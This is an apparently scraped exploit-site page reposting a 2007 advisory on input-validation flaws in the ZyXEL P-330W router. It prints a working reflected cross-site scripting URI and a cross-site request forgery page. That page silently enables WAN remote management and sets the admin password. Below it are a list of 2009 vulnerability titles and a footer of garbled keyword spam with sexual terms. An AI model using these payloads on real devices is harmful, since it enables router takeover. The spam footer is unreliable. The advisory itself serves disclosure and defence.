exploits , vulnerabilities , articles , ZyXEL P-330W Multiple Vulnerabilities

Title	ZyXEL P-330W Multiple Vulnerabilities
Published	2007-12-25-12:00AM
Updated	2008-01-02-11:00PM
Class	Input Validation Error
CVE
Remote	Yes
Local	No
Credit	santa_clause@hush.com is credited with the discovery of these vulnerabilities.
Vulnerable	ZyXEL P330W 0
Not Vulnerable
Code	Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.The following example URI is available:http://www.example.com:<router_port>/ping.asp?pingstr=â?><script>alert("M erry Christams")</script>The following cross-site request-forgery example was provided:<html><head><title>Chirstmastime is Here</title></head><body> <img src="http://www.example.com:<router_port>/goform/formRmtMgt?webWanAccess =ON&remoteMgtPort=80 80&pingWANEnabled=&upnpEnabled=&WANPassThru1=&WANPassThru2=&WANPassT hru3=& submit-url=%2Fremotemgt.asp" width="0" height="0"> <img src="http://www.example.com:<router_port>/goform/formPasswordSetup?usern ame=admin&newpass=santa_pw &confpass=santa_pw&submit-url=%2Fstatus.asp&save=Save" width="0" height="0"> </body> </html>
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-14 Microsoft Protected Extensible Authentication Protocol Authentication Bypass Vulnerability
2009-12-14 Google Chrome DNS Pre-Fetching Proxy Cache Information Disclosure Vulnerability
2009-12-14 Oracle E-Business Suite Multiple Remote Vulnerabilities
2009-12-14 MySQL Multiple Remote Denial Of Service Vulnerabilities
2009-12-14 Digital Scribe Multiple SQL Injection Vulnerabilities
2009-12-14 Microsoft WordPad and Office Text Converters Word 97 File Parsing Memory Corruption Vulnerability
2009-12-14 Microsoft Protected Extensible Authentication Protocol Memory Corruption Vulnerability
2009-12-14 WebKit Web Inspector Cross Site Scripting Vulnerability
2009-12-11 Symantec Veritas VRTSweb Incoming Data Remote Code Execution Vulnerability
2009-12-11 HP OpenView Network Node Manager Perl CGI Executables Remote Code Execution Vulnerability

SECURITY RSS FEEDS

Advertising

Copyright 2007, SecurityDot
Tue, 15 Dec 2009 01:32:42 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www,sex. www.bebo.c care www.a1225. mambo Remo PASS maxcpm.inf gey video Imag sun java s php-nuke 2 red hat 7 free ass anda www.moviel arebiansex malikashar her proftpd www.asohu. Sextoon Eactor xayf.com.c Mobile app 0\r\n Wwwshakela sdph.com Squid FTP VIDEO SEX wap.worlds www.wanli0 G0d india nude snart move 0\r\n www.istitc mambo Remo www.wanli0 www 89c www.mqsy.n cod Sahilasex. cat /error lesbin php-nuke 2 Pro Boards www.wanli0 shrek fuck News+Searc C...ups=33